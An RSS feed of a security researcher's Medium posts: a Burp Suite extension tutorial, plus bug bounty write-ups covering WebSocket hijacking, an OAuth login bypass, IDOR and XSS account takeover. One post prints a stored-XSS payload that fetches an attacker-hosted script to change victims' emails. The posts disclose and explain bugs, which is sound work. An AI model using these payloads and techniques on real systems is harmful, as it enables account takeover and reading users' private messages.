<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aditya Verma on Medium]]></title>
        <description><![CDATA[Stories by Aditya Verma on Medium]]></description>
        <link>https://medium.com/@cirius?source=rss-97f9fb488758------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*iSH0PtNTb2J74zUpk7f5sQ.png</url>
            <title>Stories by Aditya Verma on Medium</title>
            <link>https://medium.com/@cirius?source=rss-97f9fb488758------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 18:17:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cirius/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Writing your own Burpsuite Extensions: Complete Guide]]></title>
            <link>https://cirius.medium.com/writing-your-own-burpsuite-extensions-complete-guide-cb7aba4dbceb?source=rss-97f9fb488758------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb7aba4dbceb</guid>
            <category><![CDATA[extensibility-api]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[extender]]></category>
            <category><![CDATA[tutorial]]></category>
            <dc:creator><![CDATA[Aditya Verma]]></dc:creator>
            <pubDate>Fri, 24 Jun 2022 13:38:46 GMT</pubDate>
            <atom:updated>2022-12-11T07:27:10.143Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWl34lffsHubQcj5uGj-6Q.png" /></figure><p>Recently I had to create some extensions for Burpsuite. I tried finding resources that could help me but couldn’t find much. Most of them were very basic and didn’t talk about the details. I’ll try to cover most of the parts of writing custom extensions in python for automating your workflow and get those bugs with less manual work.</p><p>Keep an eye on the API <a href="https://portswigger.net/burp/extender/api/">documentation </a>so that you can relate what I am telling here. If I miss anything then be sure that you can figure that yourself using the documentation. We’ll be making a simple Parameter Replacer which would replace all parameters with given value. Useful for finding BlindXSS and SSRFs. But I’ll be also giving info unrelated to this particular extension so that you can create whatever you want. Let’s divide this guide into few parts so it is easier to understand,</p><h3>Basic Building Blocks</h3><p>We start writing all the code of our extension inside BurpExtender class and define the features we are gonna use in the arguments of the class like this,</p><pre>from burp import ITab                             <br>from burp import IProxyListener<br>from burp import IBurpExtender</pre><pre>class BurpExtender(IBurpExtender,IProxyListener, ITab)</pre><p>Here we are defining IBurpExtender, IProxyListener and Itab interfaces, IBurpExtender is default in every extension, IProxyListener is used when we want to listen to the requests going through proxy and ITab is used to create your own custom tab in the Burpsuite. Don’t forget to import whichever feature you are gonna use. There are other listeners also which I would be explaining later.</p><p>Now we need to register all the features of Burp that we are gonna use, in the registerExtenderCallbacks function. This function acts as a control panel of the extension. You can also give your extension a name in this function.</p><pre>def registerExtenderCallbacks(self, callbacks):<br>    #keeping a reference to our callbacks object<br>    self._callbacks = callbacks<br>    self._helpers = callbacks.getHelpers()<br>    <br>    # set our extension name<br>    callbacks.setExtensionName(&quot;Parameter Injector&quot;)<br>    callbacks.addSuiteTab(self)</pre><pre>    # obtain our output stream<br>    self._stdout = PrintWriter(callbacks.getStdout(), True)</pre><pre>    # register ourselves as a Proxy listener<br>    callbacks.registerProxyListener(self)</pre><p>Here we are also keeping a reference of helpers and callbacks object so that we can use the function inside them later on. You can see all the function that these objects provide by going to the documentation: <a href="https://portswigger.net/burp/extender/api/burp/iburpextendercallbacks.html">callbacks</a> <a href="https://portswigger.net/burp/extender/api/burp/iextensionhelpers.html">helpers</a>. We gave out extension a name, [addSuiteTab() later in the blog] got our output stream through which we’ll be printing out(shown in extension tab on selecting the extension)(you can also use print statement for the same but sometimes it overwrites things) and registered Proxy Listener. Now whenever a request/response goes through Burp it would go through extension. Similarly we can register other listeners like registerScannerListener which would trigger whenever any Issue is found by Burp Scanner. You can have as many listeners as you want in the extension. Use the documentation to know about other listeners.</p><p>Your code should look like this now,</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/13bd725f13a01fa0d0b545b209e5399e/href">https://medium.com/media/13bd725f13a01fa0d0b545b209e5399e/href</a></iframe><p>If you run this you will see “Extension is Loaded” printed under the output dialog of the extension. Let’s process the messages that are going through proxy now.</p><h3>Make Extension do the work</h3><p>Since we have registered an IProxyListener interface in our extension and we can see in the documentation that <a href="https://portswigger.net/burp/extender/api/burp/iproxylistener.html">IProxyListener</a> interface is processed by processProxyMessage function. So we used callbacks.registerProxyListener and now whenever a message goes thorugh proxy, processProxyMessage function would be fired with appropriate arguments. Let’s define the function,</p><pre>def processProxyMessage(self, messageIsRequest, message):<br>    self._stdout.println((&quot;Proxy request to &quot; if messageIsRequest else &quot;Proxy response from &quot;) +               message.getMessageInfo().getHttpService().toString())<br>    if messageIsRequest:<br>        messageInfo=message.getMessageInfo()<br>        requestString = messageInfo.getRequest().tostring()<br>                <br>        self._stdout.println(&quot;Processing&quot;)<br>        req=self.processit(requestString,messageInfo)<br><br>        func = self._callbacks.makeHttpRequest<br>        thread = Thread(target=func, args=(messageInfo.getHttpService(), req))<br>        thread.start()</pre><p>The first argument in this function is self which is the current instance of the class and would be used to access variables/functions belonging to the class. Second argument is a bool that tells whether the message is a request or a response and last is the message which is an IInterceptedProxyMessage Object as mentioned in the description of the <a href="https://portswigger.net/burp/extender/api/burp/iproxylistener.html#processProxyMessage-boolean-burp.IInterceptedProxyMessage-">IProxyListener</a> Interface. In the definition of <a href="https://portswigger.net/burp/extender/api/burp/iinterceptedproxymessage.html">IInterceptedProxyMessage</a> you can see a getMessageInfo() function which would return a <a href="https://portswigger.net/burp/extender/api/burp/ihttprequestresponse.html">IHttpRequestResponse</a> object. We can process request/response using this object. We use getRequest() function to get the bytes of the request and convert it to string.</p><blockquote>Similarly, if you had set <a href="https://portswigger.net/burp/extender/api/burp/iscannerlistener.html">IScannerListener</a> then you could define a newScanIssue() function and get all the information regarding the issue using IScanIssue object. One thing to remember while using <a href="https://portswigger.net/burp/extender/api/burp/iscanissue.html">IScanIssue</a> object is that, getHttpMessages() function returns a list of IHttpRequestResponse object(which is shown by the square brackets in the return type in the documentation). The list contains two elements first is request that was used to find the issue and the second is the response that was recieved.</blockquote><p>Now, let’s process the request to replace all the parameters with our payload. We have defined a processit named function to do our task. Remember that messageInfo is the IHttpRequestResponse object here and requestString is our intercepted request in string format.</p><pre>def processit(self, requestString, messageInfo=None):<br>    analyzed = self._helpers.analyzeRequest(messageInfo)<br>    parameters = analyzed.getParameters()<br>    modified_parameter=[]<br>    for param in parameters:<br>        modified_parameter.append(<br>                self._helpers.buildParameter(param.getName(), self.payload.getText(), param.getType())<br>            )<br>    new_req=messageInfo.getRequest()<br>    for param in modified_parameter:<br>        new_req = self._helpers.updateParameter(new_req, param)<br>        print(param.getName(),param.getValue(),param.getType())<br><br>    #self._stdout.println(requestString)<br>    return new_req</pre><p>Now we’ll be using <a href="https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html">helpers</a> to get our work easier. Helpers provide a large number of functions that can help you with the processing that you want to do. For this case we want to change all the parameters’ value. So, first we get all parameters in the request. We use analyzeRequest() function as it would give us <a href="https://portswigger.net/burp/extender/api/burp/irequestinfo.html">IRequestInfo</a> object which has getParameters() function through which we can access the parameters. There are multiple ways you can use analyze request, for this case we are passing IHttpRequestResponse object. Then using getParameters() we get the list of IParameter object. Each object contains details of a parameter. Now we are keeping a list of IParameter objects with value changed to our payload(the self.payload.getText() is used to get payload value from the custom tab of the extension, which I’ll be explaining later. You can directly pass a string in place of this for the meanwhile). Here the getType() function tells us whether the parameter is a GET,Cookie or POST parameter. It returns 0 for GET, 1 for POST and 2 for Cookie parameter.</p><p>After this, we are making a copy of the request, as we don’t want to change the parameters of original request. This is because if we change the parameters of original request, then it is possible that the requests that are coming from browser would not be successful, because the server might be using those parameters to process your request and if we change that then we won’t be able to browse properly. <em>Our aim here is to keep browsing while all the parameters in the requests get changed with our payload without making any problem in our browsing. </em>Again using the helpers we update the parameters in the new_req. This new_req is in bytes and we return it back.</p><blockquote>You can directly update the request as you want by directly processing on it. Do all the processing, it would directly reflect in the request which you can cross-check by going in the History section of Proxy tab.</blockquote><p>As I’ve already told you we aren’t processing on the original request which would be passed to server as all the instructions of processProxyMessage() are complete. But our new_req(copy of original) is not going to the server on it’s own. So we need to send it manually by using the helpers. You could directly send the request without using thread but this will cause the extension to wait while the request is being sent.</p><p>self._callbacks.makeHttpRequest(messageInfo.getHttpService,req)</p><p>So, now our code looks like,</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/37bdfb9898e57efc38b08b2fe8e36e2a/href">https://medium.com/media/37bdfb9898e57efc38b08b2fe8e36e2a/href</a></iframe><p>You can run it to check for yourself, don’t forget to change the self.payload.getText() with your own payload.</p><blockquote>To cross check whether your modified requests are going or not, you can install Logger++ extension from BApp Store and in that you can see the requests made by Extender.</blockquote><h3>User Interface</h3><p>Let’s add UI to our extension so that it is easier to use as currently, you need to change the code whenever you want to change the payload. Swing is a toolkit in java which is used to create GUI for java apps. Since, Burpsuite is written in Java we’ll use the same but in the form of a Python library. I’ll be talking about only basic UI and for more you can learn it from TutorialsPoint’s <a href="https://www.tutorialspoint.com/jython/jython_using_the_swing_gui_library.htm">Article</a>.</p><p>So, we had used a function addSuiteTab(self) earlier in the registerExtenderCallbacks() function. It is used to add a custom tab for the extension. We name the tab using by defining the following function.</p><pre>def getTabCaption(self):<br>    # Setting extenstion tab name<br>    return &quot;Custom Extension&quot;</pre><p>Let’s create a very basic UI in the tab,</p><pre>def getUiComponent(self):<br>    # Returning instance of the panel as in burp&#39;s docs<br>    x = 10  # panel padding<br>    y = 10  # panel padding<br><br>    panel = Panel()<br>    panel.setLayout(None)<br>    self.pyld_lbl = JLabel(&quot;Payload&quot;)<br>    self.pyld_lbl.setBounds(x, y, 80, 20)<br>    panel.add(self.pyld_lbl)<br><br>    self.payload = JTextArea()<br>    self.pyld_scrl = JScrollPane(self.payload)<br>    self.pyld_scrl.setBounds(x + 100, y, 200, 20)<br>    panel.add(self.pyld_scrl)</pre><pre>    return panel</pre><p>Here, x and y act as coordinates with (0,0) at top-right and y increases as we move downwards, while x increases as we go from left to right. We set the base value (10,10) so that our text is not touching the border of the tab. Create a panel and then using JLabel we add a label for our input box. setBounds() function defines where we want to insert the element and what would be it’s length and breadth. Here 80 is the length while 20 is breadth. Next, we add our input box using JTextArea() and declare it as self.payload(we would be using it directly to fetch the contents inside the input box). Since, we had already put our label at x so we put input box after some gap in front of label by providing the first coordinate as x+100 and as the input box would be infront of the label so second coordinate does not changes. To get the text typed in the input box we can use self.paylaod.getText().</p><blockquote>Don’t forget to import JTextArea, JLabel and JScrollPane from javax.swing library and Panel from java.awt library. All these libraries are already present in jython.jar so once you have provided the path of it to Burpsuite you can use them directly. One more thing to remember is that if you are creating multiple input boxes or other elements, don’t declare them with same name.</blockquote><blockquote>You can also add buttons but we won’t need them in this extension.</blockquote><pre>self.btn = JButton(&quot;Recieve&quot;,actionPerformed=self.doSomething)                                     self.pyld_scrl = JScrollPane(self.btn)                                     self.pyld_scrl.setBounds(x, self.y + 150, 90, 20)                                     self.panel.add(self.pyld_scrl)</pre><blockquote>Here actionPerformed provides the function name that would be fired when the button is clicked.</blockquote><blockquote>If you want to create a custom entry in the Right-Click menu(Context menu) of the Burp for the extension then it can be done by first registering it in the registerExtenderCallbacks function by</blockquote><blockquote>callbacks.registerContextMenuFactory(self)</blockquote><blockquote>Then you can create the menu item using the following function,</blockquote><pre>def createMenuItems(self,invocation):<br>    menu_list = []<br>    menu_list.append(JMenuItem(&quot;CustomEntry&quot;,None,actionPerformed= lambda x, inv=invocation:self.customName(inv))) <br>    return menu_list</pre><blockquote>JMenuItem needs to be imported from javax.swing. “CustomEntry” is the name of the menu item in the context menu and customName is the name of function fired upon it’s click. The function would be defined as, where inv is the <a href="https://portswigger.net/burp/extender/api/burp/icontextmenuinvocation.html">IContextMenuInvocation</a> Object.</blockquote><blockquote>def send(self,inv):<br> msg=inv.getSelectedMessages()<br> #Do something</blockquote><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/958ea7900d80c864120a8a87a0a24d4a/href">https://medium.com/media/958ea7900d80c864120a8a87a0a24d4a/href</a></iframe><h3>Make Custom Objects</h3><p>This part is unrelated to our extension but using this you can do a lot more like connecting different Burpsuite instances, making them communicate with one-another, share issues. Here is one instance where this can be needed, suppose you want to minimize the resource consumption on your device(Burpsuite eats a lot of RAM) and want a burpsuite running in cloud so that it can do your active scans or other stuff.</p><p>Let’s skip the part where we configure the Burpsuite in cloud as we are talking only related to Extensions here. As you would have learnt till now that we have to deal with multiple type of objects. Objects cannot be sent as-they-are thorugh internet and either we can serialize them on cloud Burpsuite and then deserialize on the burpsuite running on your own device or we can send all the required data as POST request and use it to make custom objects which act similar to original object and use them to do further processing.</p><p>Let’s make a custom IScanIssue object through which we can add issues discovered in the cloud Burpsuite to the dashboard in our local Burpsuite and a custom IHttpRequestResponse object.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/86965804b37d914956654fc9d75ea0ea/href">https://medium.com/media/86965804b37d914956654fc9d75ea0ea/href</a></iframe><p>So, in our custom class for IScanIssue we have provided all the functions that a original class contains but only given context(you can give context to all functions) to those functions which would be used by the function operating on the custom object. Now, you create your custom object and pass it to (for example) helper functions just like you were using an original object.</p><p>That wraps the guide. I have tried to provide detail on every core aspect that a beginner might face issues on while working first time with the Extensibility API. Hope this helps and <a href="https://twitter.com/0cirius0">hit</a> me up if you have any questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb7aba4dbceb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Peeping through a Web-Socket]]></title>
            <link>https://cirius.medium.com/peeping-through-a-web-socket-936ed55a2c31?source=rss-97f9fb488758------2</link>
            <guid isPermaLink="false">https://medium.com/p/936ed55a2c31</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Aditya Verma]]></dc:creator>
            <pubDate>Sat, 20 Nov 2021 11:00:47 GMT</pubDate>
            <atom:updated>2021-11-20T11:01:35.070Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, I had found a bug related to web sockets through which I was able to view all the messages being sent to the victim user.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FM29mv8NYEJyJLLJwqR%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FM29mv8NYEJyJLLJwqR%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FM29mv8NYEJyJLLJwqR%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/0b8582511e2757e9f311fb98b6d0a9ff/href">https://medium.com/media/0b8582511e2757e9f311fb98b6d0a9ff/href</a></iframe><h3>What are Web Sockets?</h3><p>Web Socket is an advanced medium of communicating through a web server. It is a two-way communication channel, i.e. once a connection is established then both server and browser can send data to each other persistently.</p><p>Web Sockets are usually used in chatting applications, stock/crypto market applications to make sure the data is updated in real time.</p><h3>What is Web Socket Hijacking?</h3><p>I would recommend reading the Portswigger Academy’s article on <a href="https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking">Cross-site Web Socket Hijacking</a> which explains the attack. In short, it is a type of CSRF attack in which rather than a HTTP Request, an attacker sends a request to the server to establish a Web Socket connection on behalf of the victim using his cookies with which he can send and recieve data from the server on behalf of the victim user.</p><h3>Here it goes</h3><p>I was exploring the target web application and found a chat feature, which was using the web sockets to send and recieve messages.</p><p>The upgrade request that was being made to intialize a web socket connection was way too open as it didn’t even send the user cookies to identify the user, instead it sent a unique identifier of the user to establish a web socket connection.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F1uMHrMutqnbfsJKRng%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F1uMHrMutqnbfsJKRng%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F1uMHrMutqnbfsJKRng%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/407021a8c7386b19bcbebaf8ffa025c6/href">https://medium.com/media/407021a8c7386b19bcbebaf8ffa025c6/href</a></iframe><h3>Some Recon</h3><p>In the Burp Suite, there is a separate tab for web sockets which show the traffic that is flowing on web socket connection.</p><p>Finding the unique identifier was easy enough as we just had to send a message to the victim user using our account, intercept the web socket request in burpsuite and extract the victim identifier from the request.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FZiHVfHBpoULkc%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FZiHVfHBpoULkc%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FZiHVfHBpoULkc%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="261" frameborder="0" scrolling="no"><a href="https://medium.com/media/bce3e90596973c9019d1c36e0dd018e3/href">https://medium.com/media/bce3e90596973c9019d1c36e0dd018e3/href</a></iframe><p>Further analyzing the request being made to the web socket conenction and the response recieved, I was able to identify few commands that need to be sent to the server after the connection is established to start receiving new messages being sent to the victim user from other users.</p><h3>Summing it all up</h3><p>I used Burpsuite repeater to make a new web socket request to the same endpoint but with the victim identfier. It looked similar to the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*ziWe9IrDY_S0L7Ah6EQNLA.png" /></figure><p>Once the connection got established in the repeater tab, now I was able to send the commands to the server(similar to portswigger lab’s “READY” command).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8glyjhfYfg0qKnaTU1LCAg.png" /></figure><p>Once, this was all done, I just had to wait for someone to send a message to the user(or send a message with my account to the victim user). Every message being sent to the victim user along with the link to the attachments sent along the message were visible in the repeater tab. The server kept sending all the messages of the user as this connection was not meant to be expired automatically.</p><p>This way I was able to view the messages of all the users without any action requirement by the victim user. Just establish the web socket connections and then wait and watch the messages of the users as they flow through.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F43JPMeXauwMRJubRle%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F43JPMeXauwMRJubRle%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F43JPMeXauwMRJubRle%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/0eb14741c08fbe5808c411d0cd257756/href">https://medium.com/media/0eb14741c08fbe5808c411d0cd257756/href</a></iframe><p>Follow me on <a href="https://twitter.com/0cirius0">Twitter</a> to get some interseting tweets/retweets.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=936ed55a2c31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I hacked a Target again and again…]]></title>
            <link>https://cirius.medium.com/how-i-hacked-a-target-again-and-again-6db2e462221f?source=rss-97f9fb488758------2</link>
            <guid isPermaLink="false">https://medium.com/p/6db2e462221f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Aditya Verma]]></dc:creator>
            <pubDate>Wed, 26 May 2021 12:51:44 GMT</pubDate>
            <atom:updated>2021-05-26T12:51:44.321Z</atom:updated>
            <content:encoded><![CDATA[<p>This all started with a when I was hunting on a private program; I found a few subdomains of almost similar UI and requests but different title. To access the subdomain login was required with no sign of creating an account. I tried injection and other basic things. When I tried for Host Header Injection, I saw a similar approach made by all those subdomains to redirect to the particular host if it exists or default back to the website(whose service was running on these subdomains). This gave out the product running and luckily they were also running Bug Bounty Program, so from a private VDP I found a public BBP. So,here it goes…</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FkF5w7HWRrW1YJuY7qv%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FkF5w7HWRrW1YJuY7qv%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FkF5w7HWRrW1YJuY7qv%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="242" frameborder="0" scrolling="no"><a href="https://medium.com/media/93b702839fbe44c4b5b69e5bca1dd975/href">https://medium.com/media/93b702839fbe44c4b5b69e5bca1dd975/href</a></iframe><p><strong>OAUTH Login</strong></p><p>Since this was a product based company which provided it’s product to other companies, they also gave out trial product. I registered an account and started testing. The webapp allowed login using OAUTH providers(Google,Facebook,etc). I had already an admin account on the webapp and now I tried to login to that account using Facebook. I went on with the OAUTH process and then started looking at all the requests made by the browser. I noticed that after logging in to facebook a request is made to /sociallogin/[service:DATA,name:DATA,email:DATA,etc . After this if the email is registered with any account then the user gets logged in to that account. Now, the thing here is that, there was no check to see if the email in the request is the same which facebook has provided after login. That means even if I change the email and then request to same endpoint manually then also I would get logged in.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fl3V0slU7u7quJuZ3O%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fl3V0slU7u7quJuZ3O%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Fl3V0slU7u7quJuZ3O%2Fgiphy_s.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/e2ef83a1d91a9b320484a128a486ba4e/href">https://medium.com/media/e2ef83a1d91a9b320484a128a486ba4e/href</a></iframe><p>This is interesting okay then what about this, if the email is not registered to any account then the user would be redirected to another endpoint /forcesignup/DETAILS which would create an account with admin privileges in the webapp.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FxT0GqGUyFPeYYmYD5K%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FxT0GqGUyFPeYYmYD5K%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FxT0GqGUyFPeYYmYD5K%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/1aa0f98fa51cdc0d0b9bb0b5fb25033f/href">https://medium.com/media/1aa0f98fa51cdc0d0b9bb0b5fb25033f/href</a></iframe><p>I also tried triggering the account creation by directly visiting the forcesignup endpoint but that didn’t work out. Doesn’t matter as I can create admin account by just visting the previous endpoint. They fixed this bug by adding a signature parameter along with other details in the /sociallogin/ endpoint which made sure that the data in the request cannot be forged.</p><p><strong>XSS</strong></p><p>Now I was looking for any other broken access control by using autorize in burpsuite with simple user cookies and browsing the web-app with admin cookies. I found a option to upload files only present for admin. The uploaded files could also be viewed within the webapp. On clicking to view the file browser made several requests with unique identifier for the file to be viewed. One of the endpoint in these requests was taking unique identifier through the URL and then was reflecting it back inside script tag. Moreover, if you pass any invalid identifier then also it would reflect back inside script tag and the page was accessible by anyone.Although, since the identifier if invalid no file will be loaded to view, but who wants to view file when we have got XSS. There were some issues in passing some special characters through the URL and I was not able to close the script tag, so instead I used JQuery within the script tag to call for another script using <em>$.getScript(“My_server”)</em>. Now, I created a script to change the email of user so that I can escalate this to Account Takeover.</p><p>Attacking Scenario: A attacker could get the endpoint from his own trial account and then change his trial-account subdomain to victim account to make the attack work on victim subdomain and then he can change the email of administrator account of victim subdomain just by a click of the victim subdomain’s admin.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FU2O50cAkpmTjG%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FU2O50cAkpmTjG%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FU2O50cAkpmTjG%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="261" frameborder="0" scrolling="no"><a href="https://medium.com/media/9c3d5b2dc7d21e15cbf18c795cf01dd6/href">https://medium.com/media/9c3d5b2dc7d21e15cbf18c795cf01dd6/href</a></iframe><p><strong>Broken Access Control</strong></p><p>The administrator had also the option to share the uploaded files with users. After a file was shared to a user the URL for viewing the file looked like <a href="https://trial.domain.com/user/files/id:5."><em>https://trial.domain.com/user/files/id:5</em></a><em> .</em> Here, if the admin uploaded 5 files and shared fifth file then the above URL would be the one for user.Now, if I change the ID from 5 to 4 then although the page didn’t show the file but it displayed the name of file. And by uploading several files, I came to conclusion that the files were uploaded on the CDN as <a href="https://cdn_domain/fakepath/file_name+EPOCH"><em>https://CDN_domain/fakepath/file_name+EPOCH</em></a><em> . </em>Although, CDN URL also contained some signature and key-pair but the files were accessible even without them.So, a simple user can view all the files uploaded by admin just by visiting the <a href="https://trial.domain.com/user/files/id:5."><em>https://trial.domain.com/user/files/id:</em></a><em>5, </em>getting the name of file and then bruteforcing the EPOCH, which would be way too easy if the file shared was uploaded together with other files(as in this case epoch wouldn’t differ much).</p><p><strong>Another XSS:</strong></p><p>The web-app allowed users to interact among groups by creating a discussion. I tried basic HTML injection on the comments of discussion and it went in. Then, I tried bsaic XSS payloads but of no use. Ran intruder to create comments with wordlist from portswigger for all event attributes with h1 tag. Although most of the event attributes were blocked but onpointerup,onpointerdown, and similar onpointer attributes were not blocked and opened the possibility for XSS. Used the following payload to exploit the issue with my previous script to change victim user’s email.</p><pre><em>&lt;h1 onpointerup=$.getScript(“mydomain_url”)&gt;Hello&lt;/h1&gt;</em></pre><p>Stored XSS which would change the email of every user who visits the discussion.</p><p>There were some other bugs and bypasses to previous bugs which I had found on the same program but I guess this post has become enough long.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FW5qyPxP1CVLFVsmlsl%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FW5qyPxP1CVLFVsmlsl%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FW5qyPxP1CVLFVsmlsl%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="391" frameborder="0" scrolling="no"><a href="https://medium.com/media/38e44235b7dadfd5eeb3f4a18d72f9a1/href">https://medium.com/media/38e44235b7dadfd5eeb3f4a18d72f9a1/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6db2e462221f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a hidden and forgotten Bug]]></title>
            <link>https://cirius.medium.com/exploiting-a-hidden-and-forgotten-bug-49ce7ad4de39?source=rss-97f9fb488758------2</link>
            <guid isPermaLink="false">https://medium.com/p/49ce7ad4de39</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Aditya Verma]]></dc:creator>
            <pubDate>Sat, 06 Mar 2021 17:36:43 GMT</pubDate>
            <atom:updated>2021-03-06T17:36:43.522Z</atom:updated>
